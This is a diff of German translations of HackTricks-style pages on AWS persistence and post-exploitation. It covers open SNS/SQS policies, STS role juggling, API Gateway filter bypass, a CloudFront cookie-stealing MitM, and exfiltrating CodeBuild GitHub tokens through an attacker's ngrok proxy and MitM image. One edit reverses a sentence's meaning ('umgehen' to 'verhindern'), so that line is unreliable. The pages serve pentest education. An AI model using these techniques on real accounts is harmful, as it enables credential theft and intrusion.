-Es ist möglich, **Zugriff auf Geheimnisse für externe Konten** über Ressourcenrichtlinien zu **gewähren**. Überprüfen Sie die [**Secrets Manager Privesc-Seite**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) für weitere Informationen. Beachten Sie, dass das externe Konto auch **Zugriff auf den KMS-Schlüssel, der das Geheimnis verschlüsselt, benötigt**.
+Es ist möglich, **Zugriff auf Geheimnisse für externe Konten zu gewähren** über Ressourcenrichtlinien. Siehe die [**Secrets Manager Privesc-Seite**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) für weitere Informationen. Beachten Sie, dass das externe Konto auch **Zugriff auf den KMS-Schlüssel, der das Geheimnis verschlüsselt, benötigt**.
### Über Secrets Rotate Lambda
-Um **Geheimnisse** automatisch zu **rotieren**, wird eine konfigurierte **Lambda** aufgerufen. Wenn ein Angreifer den **Code** **ändern** könnte, könnte er das neue Geheimnis direkt an sich selbst **exfiltrieren**.
+Um **Geheimnisse** automatisch zu **rotieren**, wird eine konfigurierte **Lambda** aufgerufen. Wenn ein Angreifer den **Code** **ändern** könnte, könnte er das neue Geheimnis direkt **an sich selbst exfiltrieren**.
So könnte der Lambda-Code für eine solche Aktion aussehen:
```python
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
index 4d686d137..cce6b4d50 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
@@ -1,4 +1,4 @@
-# AWS - SNS Persistence
+# AWS - SNS Persistenz
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,10 +10,10 @@ Für weitere Informationen siehe:
../aws-services/aws-sns-enum.md
{{#endref}}
-### Persistence
+### Persistenz
-Beim Erstellen eines **SNS-Themas** müssen Sie mit einer IAM-Richtlinie angeben, **wer Zugriff auf das Lesen und Schreiben hat**. Es ist möglich, externe Konten, ARN von Rollen oder **sogar "\*"** anzugeben.\
-Die folgende Richtlinie gewährt allen in AWS Zugriff auf das Lesen und Schreiben im SNS-Thema mit dem Namen **`MySNS.fifo`**:
+Beim Erstellen eines **SNS-Themas** müssen Sie mit einer IAM-Richtlinie angeben, **wer Zugriff auf Lesen und Schreiben hat**. Es ist möglich, externe Konten, ARN von Rollen oder **sogar "\*"** anzugeben.\
+Die folgende Richtlinie gewährt allen in AWS Zugriff auf Lesen und Schreiben im SNS-Thema mit dem Namen **`MySNS.fifo`**:
```json
{
"Version": "2008-10-17",
@@ -65,7 +65,7 @@ Die folgende Richtlinie gewährt allen in AWS Zugriff auf das Lesen und Schreibe
```
### Erstellen von Abonnenten
-Um weiterhin alle Nachrichten aus allen Themen zu exfiltrieren, könnte der Angreifer **Abonnenten für alle Themen erstellen**.
+Um alle Nachrichten aus allen Themen weiter zu exfiltrieren, könnte der Angreifer **Abonnenten für alle Themen erstellen**.
Beachten Sie, dass, wenn das **Thema vom Typ FIFO** ist, nur Abonnenten, die das Protokoll **SQS** verwenden, genutzt werden können.
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
index bc45cae9b..77816838c 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
@@ -1,4 +1,4 @@
-# AWS - SQS Persistence
+# AWS - SQS Persistenz
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,10 +10,10 @@ Für weitere Informationen siehe:
../aws-services/aws-sqs-and-sns-enum.md
{{#endref}}
-### Verwendung der Ressourcenrichtlinie
+### Verwendung von Ressourcenrichtlinien
In SQS müssen Sie mit einer IAM-Richtlinie **angeben, wer Zugriff auf das Lesen und Schreiben hat**. Es ist möglich, externe Konten, ARN von Rollen oder **sogar "\*"** anzugeben.\
-Die folgende Richtlinie gewährt jedem in AWS Zugriff auf alles in der Warteschlange mit dem Namen **MyTestQueue**:
+Die folgende Richtlinie gewährt allen in AWS Zugriff auf alles in der Warteschlange mit dem Namen **MyTestQueue**:
```json
{
"Version": "2008-10-17",
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
index 22aca3416..1519e326f 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
@@ -10,12 +10,12 @@ Für weitere Informationen siehe:
../aws-services/aws-stepfunctions-enum.md
{{#endref}}
-### Backdooring von Step-Funktionen
+### Backdooring von Step Functions
-Hinterlege einen Backdoor in einer Step-Funktion, um jeden Persistenztrick auszuführen, sodass jedes Mal, wenn sie ausgeführt wird, deine bösartigen Schritte ausgeführt werden.
+Hinterlasse eine Hintertür in einer Step Function, um einen Persistenztrick auszuführen, sodass jedes Mal, wenn sie ausgeführt wird, deine bösartigen Schritte ausgeführt werden.
-### Backdooring von Aliasen
+### Backdooring von Aliassen
-Wenn das AWS-Konto Aliase verwendet, um Step-Funktionen aufzurufen, wäre es möglich, einen Alias zu ändern, um eine neue, gehackte Version der Step-Funktion zu verwenden.
+Wenn das AWS-Konto Aliasse verwendet, um Step Functions aufzurufen, wäre es möglich, einen Alias zu ändern, um eine neue, mit einer Hintertür versehene Version der Step Function zu verwenden.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
index 786bd4d09..8fc13bd25 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
@@ -1,4 +1,4 @@
-# AWS - STS Persistence
+# AWS - STS Persistenz
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,7 +12,7 @@ Für weitere Informationen zugreifen:
### Assume role token
-Temporäre Tokens können nicht aufgelistet werden, daher ist das Halten eines aktiven temporären Tokens eine Möglichkeit, Persistenz aufrechtzuerhalten.
+Temporäre Tokens können nicht aufgelistet werden, daher ist das Beibehalten eines aktiven temporären Tokens eine Möglichkeit, Persistenz aufrechtzuerhalten.
aws sts get-session-token --duration-seconds 129600
@@ -22,13 +22,13 @@ aws sts get-session-token \
--token-code <code-from-token>
# Der Name des Hardwaregeräts ist normalerweise die Nummer auf der Rückseite des Geräts, wie GAHT12345678
-# Der SMS-Gerätename ist die ARN in AWS, wie arn:aws:iam::123456789012:sms-mfa/benutzername
-# Der virtuelle Gerätename ist die ARN in AWS, wie arn:aws:iam::123456789012:mfa/benutzername
+# Der Name des SMS-Geräts ist die ARN in AWS, wie arn:aws:iam::123456789012:sms-mfa/benutzername
+# Der Name des virtuellen Geräts ist die ARN in AWS, wie arn:aws:iam::123456789012:mfa/benutzername
### Role Chain Juggling
-[**Role Chaining ist ein anerkanntes AWS-Feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), das häufig zur Aufrechterhaltung von Stealth-Persistenz verwendet wird. Es beinhaltet die Fähigkeit, **eine Rolle zu übernehmen, die dann eine andere übernimmt**, was potenziell zur ursprünglichen Rolle in einer **zyklischen Weise** zurückkehrt. Jedes Mal, wenn eine Rolle übernommen wird, wird das Ablaufdatum der Anmeldeinformationen aktualisiert. Folglich, wenn zwei Rollen so konfiguriert sind, dass sie sich gegenseitig übernehmen, ermöglicht dieses Setup die ständige Erneuerung der Anmeldeinformationen.
+[**Role Chaining ist ein anerkanntes AWS-Feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), das häufig zur Aufrechterhaltung von Stealth-Persistenz genutzt wird. Es beinhaltet die Fähigkeit, **eine Rolle zu übernehmen, die dann eine andere übernimmt**, was potenziell zur ursprünglichen Rolle in einer **zyklischen Weise** zurückkehrt. Jedes Mal, wenn eine Rolle übernommen wird, wird das Ablaufdatum der Anmeldeinformationen aktualisiert. Folglich, wenn zwei Rollen so konfiguriert sind, dass sie sich gegenseitig übernehmen, ermöglicht dieses Setup die ständige Erneuerung der Anmeldeinformationen.
Sie können dieses [**Tool**](https://github.com/hotnops/AWSRoleJuggler/) verwenden, um das Role Chaining aufrechtzuerhalten:
```bash
@@ -44,7 +44,7 @@ optional arguments:
-Code zum Durchführen von Role Juggling aus PowerShell
+Code zur Durchführung von Role Juggling aus PowerShell
```powershell
# PowerShell script to check for role juggling possibilities using AWS CLI
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
index 029e20040..9d8ffb7d0 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
@@ -15,18 +15,18 @@ Für weitere Informationen siehe:
Sie können einen Endpunkt in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) mit dem Dienst `com.amazonaws.us-east-1.execute-api` erstellen, den Endpunkt in einem Netzwerk exponieren, auf das Sie Zugriff haben (möglicherweise über eine EC2-Maschine) und eine Sicherheitsgruppe zuweisen, die alle Verbindungen erlaubt.\
Dann können Sie von der EC2-Maschine aus auf den Endpunkt zugreifen und somit die Gateway-API aufrufen, die zuvor nicht exponiert war.
-### Umgehung des Request-Body-Passthrough
+### Umgehung des Request-Body-Passthroughs
Diese Technik wurde in [**diesem CTF-Bericht**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp) gefunden.
Wie in der [**AWS-Dokumentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) im Abschnitt `PassthroughBehavior` angegeben, wird standardmäßig der Wert **`WHEN_NO_MATCH`**, beim Überprüfen des **Content-Type**-Headers der Anfrage, die Anfrage ohne Transformation an das Backend weiterleiten.
-Daher hatte im CTF das API Gateway eine Integrationsvorlage, die **verhindert hat, dass das Flag in einer Antwort exfiltriert wird**, wenn eine Anfrage mit `Content-Type: application/json` gesendet wurde:
+Daher hatte im CTF das API Gateway eine Integrationsvorlage, die **verhindert hat, dass die Flagge in einer Antwort exfiltriert wird**, wenn eine Anfrage mit `Content-Type: application/json` gesendet wurde:
```yaml
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
```
-Allerdings würde das Senden einer Anfrage mit **`Content-type: text/json`** diesen Filter umgehen.
+Allerdings würde das Senden einer Anfrage mit **`Content-type: text/json`** diesen Filter verhindern.
Schließlich, da das API Gateway nur `Get` und `Options` erlaubte, war es möglich, eine beliebige dynamoDB-Abfrage ohne Einschränkung zu senden, indem man eine POST-Anfrage mit der Abfrage im Body und dem Header `X-HTTP-Method-Override: GET` verwendete:
```bash
@@ -36,11 +36,11 @@ curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers
Im Abschnitt **Enumeration** sehen Sie, wie Sie den **Nutzungsplan** der Schlüssel **erhalten** können. Wenn Sie den Schlüssel haben und er auf X Nutzungen **pro Monat** **beschränkt** ist, könnten Sie ihn **einfach verwenden und einen DoS verursachen**.
-Der **API-Schlüssel** muss nur in einem **HTTP-Header** namens **`x-api-key`** **eingeschlossen** werden.
+Der **API Key** muss nur in einem **HTTP-Header** namens **`x-api-key`** **eingeschlossen** werden.
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
-Ein Angreifer mit den Berechtigungen `apigateway:UpdateGatewayResponse` und `apigateway:CreateDeployment` kann eine **bestehende Gateway-Antwort ändern, um benutzerdefinierte Header oder Antwortvorlagen einzuschließen, die sensible Informationen leaken oder bösartige Skripte ausführen**.
+Ein Angreifer mit den Berechtigungen `apigateway:UpdateGatewayResponse` und `apigateway:CreateDeployment` kann **eine vorhandene Gateway-Antwort ändern, um benutzerdefinierte Header oder Antwortvorlagen einzuschließen, die sensible Informationen leaken oder bösartige Skripte ausführen**.
```bash
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
@@ -71,8 +71,8 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Potenzielle Auswirkungen**: Unbefugter Zugriff auf zwischengespeicherte Daten, Störung oder Abfangen von API-Verkehr.
-> [!NOTE]
-> Muss getestet werden
+> [!HINWEIS]
+> Testen erforderlich
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
@@ -89,7 +89,7 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-**Potenzielle Auswirkungen**: Leck von sensiblen Informationen, Ausführung bösartiger Skripte oder unbefugter Zugriff auf API-Ressourcen.
+**Potenzielle Auswirkungen**: Leckage sensibler Informationen, Ausführung bösartiger Skripte oder unbefugter Zugriff auf API-Ressourcen.
> [!NOTE]
> Muss getestet werden
@@ -113,7 +113,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
-Ein Angreifer mit den Berechtigungen `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` und `apigateway:CreateUsagePlanKey` kann **neue API-Schlüssel erstellen, sie mit Nutzungstarifen verknüpfen und diese Schlüssel dann für unbefugten Zugriff auf APIs verwenden**.
+Ein Angreifer mit den Berechtigungen `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` und `apigateway:CreateUsagePlanKey` kann **neue API-Schlüssel erstellen, diese mit Nutzungstarifen verknüpfen und dann diese Schlüssel für unbefugten Zugriff auf APIs verwenden**.
```bash
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
@@ -127,6 +127,6 @@ aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_K
**Potenzielle Auswirkungen**: Unbefugter Zugriff auf API-Ressourcen, Umgehung von Sicherheitskontrollen.
> [!HINWEIS]
-> Testen erforderlich
+> Test erforderlich
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
index 2184dc66d..24de074f3 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
@@ -12,12 +12,12 @@ Für weitere Informationen siehe:
### Man-in-the-Middle
-Dieser [**Blogbeitrag**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) schlägt einige verschiedene Szenarien vor, in denen eine **Lambda** hinzugefügt (oder modifiziert, wenn sie bereits verwendet wird) werden könnte, um eine **Kommunikation über CloudFront** mit dem Ziel zu **stehlen** von Benutzerinformationen (wie dem Sitzungs-**Cookie**) und **modifizieren** der **Antwort** (einfügen eines bösartigen JS-Skripts).
+Dieser [**Blogbeitrag**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) schlägt einige verschiedene Szenarien vor, in denen eine **Lambda** hinzugefügt (oder modifiziert, wenn sie bereits verwendet wird) werden könnte, um eine **Kommunikation über CloudFront** mit dem Ziel des **Diebstahls** von Benutzerinformationen (wie dem Sitzungs-**Cookie**) und der **Modifizierung** der **Antwort** (Einfügen eines bösartigen JS-Skripts) zu ermöglichen.
-#### Szenario 1: MitM, bei dem CloudFront so konfiguriert ist, dass es auf einige HTML eines Buckets zugreift
+#### Szenario 1: MitM, bei dem CloudFront so konfiguriert ist, dass es auf einige HTML-Dateien eines Buckets zugreift
- **Erstelle** die bösartige **Funktion**.
-- **Verknüpfe** sie mit der CloudFront-Distribution.
+- **Assoziiere** sie mit der CloudFront-Distribution.
- Setze den **Ereignistyp auf "Viewer Response"**.
Durch den Zugriff auf die Antwort könntest du das Cookie der Benutzer stehlen und ein bösartiges JS injizieren.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
index b62822fa9..5f342e5ce 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
@@ -12,7 +12,7 @@ Für weitere Informationen, siehe:
### Überprüfen von Geheimnissen
-Wenn Anmeldeinformationen in Codebuild festgelegt wurden, um sich mit Github, Gitlab oder Bitbucket in Form von persönlichen Tokens, Passwörtern oder OAuth-Token-Zugriff zu verbinden, werden diese **Anmeldeinformationen als Geheimnisse im Geheimnismanager gespeichert**.\
+Wenn Anmeldeinformationen in Codebuild festgelegt wurden, um sich mit Github, Gitlab oder Bitbucket in Form von persönlichen Tokens, Passwörtern oder OAuth-Token-Zugriff zu verbinden, **werden diese Anmeldeinformationen als Geheimnisse im Geheimnismanager gespeichert**.\
Daher, wenn Sie Zugriff auf den Geheimnismanager haben, können Sie diese Geheimnisse abrufen und zu der verbundenen Plattform pivotieren.
{{#ref}}
@@ -25,7 +25,7 @@ Um **CodeBuild** zu konfigurieren, benötigt es **Zugriff auf das Code-Repo**, d
-Das **CodeBuild-Projekt muss Zugriff** auf den konfigurierten Quellanbieter haben, entweder über **IAM-Rolle** oder mit einem github/bitbucket **Token oder OAuth-Zugriff**.
+Das **CodeBuild-Projekt muss Zugriff** auf den konfigurierten Quellanbieter haben, entweder über **IAM-Rolle** oder mit einem Github/Bitbucket **Token oder OAuth-Zugriff**.
Ein Angreifer mit **erhöhten Berechtigungen in einem CodeBuild** könnte diesen konfigurierten Zugriff missbrauchen, um den Code des konfigurierten Repos und anderer, auf die die festgelegten Anmeldeinformationen Zugriff haben, zu leaken.\
Um dies zu tun, müsste ein Angreifer nur die **Repository-URL auf jedes Repo ändern, auf das die konfigurierten Anmeldeinformationen Zugriff haben** (beachten Sie, dass die AWS-Webseite alle für Sie auflistet):
@@ -35,7 +35,7 @@ Um dies zu tun, müsste ein Angreifer nur die **Repository-URL auf jedes Repo ä
Und **die Buildspec-Befehle ändern, um jedes Repo zu exfiltrieren**.
> [!WARNING]
-> Diese **Aufgabe ist jedoch repetitiv und mühsam** und wenn ein Github-Token mit **Schreibberechtigungen** konfiguriert wurde, kann ein Angreifer **diese Berechtigungen nicht (miss)brauchen**, da er keinen Zugriff auf das Token hat.\
+> Diese **Aufgabe ist jedoch repetitiv und mühsam** und wenn ein Github-Token mit **Schreibberechtigungen** konfiguriert wurde, **kann ein Angreifer diese Berechtigungen nicht (miss)brauchen**, da er keinen Zugriff auf das Token hat.\
> Oder doch? Überprüfen Sie den nächsten Abschnitt
### Zugriffstoken von AWS CodeBuild leaken
@@ -50,7 +50,7 @@ aws-codebuild-token-leakage.md
### `codebuild:DeleteProject`
-Ein Angreifer könnte ein gesamtes CodeBuild-Projekt löschen, was zum Verlust der Projektkonfiguration führt und Anwendungen beeinträchtigt, die auf das Projekt angewiesen sind.
+Ein Angreifer könnte ein gesamtes CodeBuild-Projekt löschen, was zu einem Verlust der Projektkonfiguration führt und Anwendungen beeinträchtigt, die auf das Projekt angewiesen sind.
```bash
aws codebuild delete-project --name
```
@@ -58,12 +58,12 @@ aws codebuild delete-project --name
### `codebuild:TagResource` , `codebuild:UntagResource`
-Ein Angreifer könnte Tags von CodeBuild-Ressourcen hinzufügen, ändern oder entfernen, was die Kostenverteilung, die Ressourcenverfolgung und die Zugriffskontrollrichtlinien Ihrer Organisation, die auf Tags basieren, stören würde.
+Ein Angreifer könnte Tags von CodeBuild-Ressourcen hinzufügen, ändern oder entfernen, was die Kostenallokation, die Ressourcenverfolgung und die Zugriffskontrollrichtlinien Ihrer Organisation, die auf Tags basieren, stören würde.
```bash
aws codebuild tag-resource --resource-arn --tags
aws codebuild untag-resource --resource-arn --tag-keys
```
-**Potenzielle Auswirkungen**: Störung der Kostenallokation, Ressourcennachverfolgung und tagbasierter Zugriffskontrollrichtlinien.
+**Potenzielle Auswirkungen**: Störung der Kostenallokation, Ressourcenverfolgung und tagbasierter Zugriffskontrollrichtlinien.
### `codebuild:DeleteSourceCredentials`
@@ -71,6 +71,6 @@ Ein Angreifer könnte die Quellanmeldeinformationen für ein Git-Repository lös
```sql
aws codebuild delete-source-credentials --arn
```
-**Potenzielle Auswirkungen**: Störung der normalen Funktionalität von Anwendungen, die auf das betroffene Repository angewiesen sind, aufgrund der Entfernung von Quellanmeldeinformationen.
+**Potenzielle Auswirkungen**: Störung der normalen Funktion von Anwendungen, die auf das betroffene Repository angewiesen sind, aufgrund der Entfernung von Quellanmeldeinformationen.
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
index 873e95742..1b25cf6a5 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
@@ -4,30 +4,30 @@
## Wiederherstellen von Github/Bitbucket konfigurierten Tokens
-Zuerst überprüfen Sie, ob es Quellanmeldeinformationen gibt, die Sie möglicherweise leaken könnten:
+Zuerst überprüfen, ob es Quellanmeldeinformationen gibt, die Sie leaken könnten:
```bash
aws codebuild list-source-credentials
```
-### Via Docker-Image
+### Via Docker Image
-Wenn Sie feststellen, dass die Authentifizierung zum Beispiel für Github im Konto eingestellt ist, können Sie **exfiltrieren** diesen **Zugang** (**GH-Token oder OAuth-Token**), indem Sie Codebuild dazu bringen, ein **bestimmtes Docker-Image** zu verwenden, um den Build des Projekts auszuführen.
+Wenn Sie feststellen, dass die Authentifizierung zum Beispiel für Github im Konto festgelegt ist, können Sie **exfiltrieren** diesen **Zugang** (**GH-Token oder OAuth-Token**), indem Sie Codebuild dazu bringen, ein **bestimmtes Docker-Image** zu verwenden, um den Build des Projekts auszuführen.
Zu diesem Zweck könnten Sie **ein neues Codebuild-Projekt erstellen** oder die **Umgebung** eines bestehenden ändern, um das **Docker-Image** festzulegen.
Das Docker-Image, das Sie verwenden könnten, ist [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Dies ist ein sehr einfaches Docker-Image, das die **Umgebungsvariablen `https_proxy`**, **`http_proxy`** und **`SSL_CERT_FILE`** festlegt. Dies ermöglicht es Ihnen, den Großteil des Traffics des im **`https_proxy`** und **`http_proxy`** angegebenen Hosts abzufangen und das in **`SSL_CERT_FILE`** angegebene SSL-Zertifikat zu vertrauen.
1. **Erstellen und Hochladen Ihres eigenen Docker MitM-Images**
-- Befolgen Sie die Anweisungen des Repos, um Ihre Proxy-IP-Adresse festzulegen und Ihr SSL-Zertifikat einzustellen und **das Docker-Image zu erstellen**.
+- Befolgen Sie die Anweisungen des Repos, um Ihre Proxy-IP-Adresse festzulegen und Ihr SSL-Zertifikat zu setzen und **das Docker-Image zu erstellen**.
- **SETZEN SIE NICHT `http_proxy`**, um keine Anfragen an den Metadaten-Endpunkt abzufangen.
-- Sie könnten **`ngrok`** wie `ngrok tcp 4444` verwenden, um den Proxy zu Ihrem Host festzulegen.
-- Sobald Sie das Docker-Image erstellt haben, **laden Sie es in ein öffentliches Repo hoch** (Dockerhub, ECR...).
+- Sie könnten **`ngrok`** wie `ngrok tcp 4444` verwenden, um den Proxy auf Ihren Host zu setzen.
+- Sobald Sie das Docker-Image erstellt haben, **laden Sie es in ein öffentliches Repo hoch** (Dockerhub, ECR...)
2. **Umgebung festlegen**
- Erstellen Sie ein **neues Codebuild-Projekt** oder **ändern** Sie die Umgebung eines bestehenden.
- Stellen Sie das Projekt so ein, dass es das **zuvor generierte Docker-Image** verwendet.
-3. **Setzen Sie den MitM-Proxy in Ihrem Host**
+3. **Setzen Sie den MitM-Proxy auf Ihrem Host**
- Wie im **Github-Repo** angegeben, könnten Sie etwas wie Folgendes verwenden:
```bash
@@ -80,8 +80,8 @@ Wenn Sie dies aktivieren, kann Codebuild sich mit dem Repository **verbinden, oh
```bash
aws codebuild batch-get-projects --name
```
-- Dann kannst du mit den gesammelten Informationen die Projekteinstellung **`insecureSsl`** auf **`True`** aktualisieren. Das folgende ist ein Beispiel für meine Aktualisierung eines Projekts, beachte das **`insecureSsl=True`** am Ende (das ist das einzige, was du von der gesammelten Konfiguration ändern musst).
-- Außerdem füge auch die Umgebungsvariablen **http_proxy** und **https_proxy** hinzu, die auf dein tcp ngrok zeigen, wie:
+- Dann können Sie mit den gesammelten Informationen die Projekteinstellungen **`insecureSsl`** auf **`True`** aktualisieren. Das folgende ist ein Beispiel für meine Aktualisierung eines Projekts, beachten Sie das **`insecureSsl=True`** am Ende (das ist das einzige, was Sie aus der gesammelten Konfiguration ändern müssen).
+- Fügen Sie außerdem die Umgebungsvariablen **http_proxy** und **https_proxy** hinzu, die auf Ihr tcp ngrok zeigen, wie:
```bash
aws codebuild update-project --name \
--source '{
@@ -132,7 +132,7 @@ mitm.run()
-### ~~Über das HTTP-Protokoll~~
+### ~~Via HTTP-Protokoll~~
> [!TIP] > **Diese Schwachstelle wurde von AWS irgendwann in der Woche des 20. Februar 2023 (ich glaube am Freitag) behoben. Ein Angreifer kann sie also nicht mehr ausnutzen :)**
@@ -145,7 +145,7 @@ Ein Angreifer mit **erhöhten Berechtigungen in über einem CodeBuild könnte da
- Dann ändern Sie die URL des Github-Repos, um HTTP anstelle von HTTPS zu verwenden, zum Beispiel: `http://github.com/carlospolop-forks/TestActions`
-- Dann führen Sie das grundlegende Beispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) an dem Port aus, auf den die Proxy-Variablen (http_proxy und https_proxy) zeigen.
+- Dann führen Sie das grundlegende Beispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) an dem Port aus, der von den Proxy-Variablen (http_proxy und https_proxy) angegeben wird.
```python
from mitm import MITM, protocol, middleware, crypto
@@ -158,7 +158,7 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-- Klicken Sie als Nächstes auf **Build the project** oder starten Sie den Build über die Befehlszeile:
+- Klicken Sie als Nächstes auf **Projekt erstellen** oder starten Sie den Build über die Befehlszeile:
```sh
aws codebuild start-build --project-name
```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
index a98483688..87b05ac6c 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
@@ -8,7 +8,7 @@
../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
{{#endref}}
-### Aktivieren / Deaktivieren von Kontrollen
+### Kontrollen aktivieren / deaktivieren
Um ein Konto weiter auszunutzen, müssen Sie möglicherweise die Kontrollen von Control Tower deaktivieren/aktivieren:
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
index 112eb7483..0bad010bb 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
@@ -12,7 +12,7 @@ Zunächst wird ein Befehl verwendet, um Informationen zu Volumes zu sammeln, wie
`aws ec2 describe-volumes`
-Zweitens wird die Lebenszyklusrichtlinie erstellt. Dieser Befehl verwendet die DLM-API, um eine Lebenszyklusrichtlinie einzurichten, die automatisch täglich Snapshots der angegebenen Volumes zu einer festgelegten Zeit erstellt. Es werden auch spezifische Tags auf die Snapshots angewendet und Tags von den Volumes auf die Snapshots kopiert. Die policyDetails.json-Datei enthält die Einzelheiten der Lebenszyklusrichtlinie, wie Ziel-Tags, Zeitplan, die ARN des optionalen KMS-Schlüssels zur Verschlüsselung und das Zielkonto für die Snapshot-Freigabe, das in den CloudTrail-Protokollen des Opfers aufgezeichnet wird.
